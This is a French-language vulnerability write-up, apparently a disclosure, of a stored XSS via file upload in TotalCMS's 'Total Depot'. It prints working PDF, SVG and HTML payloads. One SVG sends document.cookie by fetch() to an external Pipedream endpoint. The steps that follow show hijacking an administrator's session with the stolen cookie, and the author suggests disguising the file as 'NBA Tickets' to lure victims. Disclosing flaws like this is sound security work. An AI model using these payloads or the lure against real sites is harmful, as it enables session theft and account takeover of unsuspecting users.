
TotalCMS est affecté par une vulnérabilité de téléversement arbitraire de fichier - XSS qui permet un Cross-Site Scripting (XSS) stocké ainsi que le vol de cookies de session.
Description : TotalCMS est affecté par une vulnérabilité de téléchargement arbitraire de fichiers - XSS qui permet le Cross-Site Scripting (XSS) et également le vol de cookies de session.
Vecteurs d'attaque : Une vulnérabilité dans l'assainissement du téléchargement de fichiers de "Total Depot" permet de télécharger un fichier PDF / SVG / HTML avec un script Cross-Site (XSS) caché et de voler les cookies de l'utilisateur.
Je vais faire 2 PoC :
Nous commençons par le premier PoC :
Lors de la connexion au panneau d'administration (https://www.totalcms.co/demo/total-cms/admin/), nous allons dans la "Total Depot" du site d'administration et nous téléchargeons les fichiers PDF / SVG et HTML avec le XSS caché.
Voici les payloads :
Il s'agit d'un payload XSS généré avec l'outil JS2PDFInjector et d'un payload js contenant le contenu suivant :
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


Une fois téléchargés, si nous cliquons sur le lien, nous pouvons voir le chemin où ils sont stockés :

Chemin des fichiers :



Et voici le résultat avec le Cross-Site Scripting (XSS) des 3 types de fichiers et avec les cookies de l'utilisateur :



Nous passons au deuxième PoC :
Nous allons faire comme si nous étions un cybercriminel et nous allons voler les cookies de session de l'utilisateur ; ils seront envoyés au serveur.
Dans ce cas, j'ai téléchargé un fichier comme PoC mais dans un cas réel, nous pouvons télécharger un fichier avec un nom attrayant "NBA Tickets" et le publier, afin que l'utilisateur victime m'envoie les cookies lors de l'exécution du fichier, sans s'en rendre compte.
Tout d'abord, nous effectuons un test pour voir si nous avons une communication avec un serveur externe.
Voici le payload :
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


Comme nous le voyons dans la requête Pipedream, nous avons obtenu la requête correctement.
Nous modifions le payload pour voler les cookies et les envoyer à la requête Pipedream, afin de pouvoir usurper l'identité de l'utilisateur.
Voici le payload :
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
Nous l'exécutons :


Comme nous le voyons sur l'image, nous avons correctement obtenu les cookies de session de l'utilisateur.
Maintenant, nous allons usurper l'identité de l'utilisateur. Pour tester, nous ouvrons une session vers TotalCMS/admin dans un autre navigateur et ouvrons le module complémentaire "Cookie Editor".

Nous modifions le cookie de session avec celui obtenu dans Pipedream et enregistrons.

Nous avons rechargé le site web et nous avons usurpé l'identité de l'utilisateur administrateur.
